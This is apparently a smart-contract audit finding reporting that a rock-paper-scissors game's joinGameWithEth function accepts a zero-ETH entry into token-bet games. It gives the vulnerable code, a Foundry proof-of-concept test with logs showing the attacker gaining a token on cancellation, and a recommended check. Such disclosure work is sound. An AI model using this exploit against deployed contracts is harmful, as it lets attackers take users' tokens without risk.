Summary
joinGameWithEth can attend the game. bet = 0 when value = 0 ether to win token without risk without check msg.value ==0
Vulnerability Details
joinGameWithEth
has no check for msg.value == 0 , causing attacker can attend Token bet game with 0 value when call joinGameWithEth
. To win Token without risk.
There is no check for msg.value == 0
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
@> require(msg.value == game.bet, "Bet amount must match creator's bet");
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}
Impact
attacker can attend the game created by createGameWithToken
with game.joinGameWithEth{value: 0 ether}(gameId);
Causing the attacker can win Token with no risk.
Proof of Code
PlayerB get the Token when the game is canceled.
function testJoinGameWithToken() public {
console2.log("Player A token: ", token.balanceOf(playerA));
console2.log("Player B token: ", token.balanceOf(playerB));
vm.startPrank(playerA);
token.approve(address(game), 1);
gameId = game.createGameWithToken(TOTAL_TURNS, TIMEOUT);
vm.stopPrank();
vm.startPrank(playerB);
game.joinGameWithEth{value: 0 ether}(gameId);
vm.stopPrank();
(address storedPlayerA, address storedPlayerB,,,,,,,,,,,,,, RockPaperScissors.GameState state) =
game.games(gameId);
assertEq(storedPlayerA, playerA);
assertEq(storedPlayerB, playerB);
console2.log("Player A token: ", token.balanceOf(playerA));
console2.log("Player B token: ", token.balanceOf(playerB));
vm.startPrank(playerA);
game.cancelGame(gameId);
vm.stopPrank();
console2.log("Player A token: ", token.balanceOf(playerA));
console2.log("Player B token: ", token.balanceOf(playerB));
}
Log:
Player A token: 10
Player B token: 10
Player A token: 9
Player B token: 10
Player A token: 10
Player B token: 11
Tools Used
manual review
Recommendations
function joinGameWithEth(uint256 _gameId) external payable {
Game storage game = games[_gameId];
require(game.state == GameState.Created, "Game not open to join");
require(game.playerA != msg.sender, "Cannot join your own game");
require(block.timestamp <= game.joinDeadline, "Join deadline passed");
+ require(msg.value != 0);
require(msg.value == game.bet, "Bet amount must match creator's bet");
// what will happen if the msg.value== 0
game.playerB = msg.sender;
emit PlayerJoined(_gameId, msg.sender);
}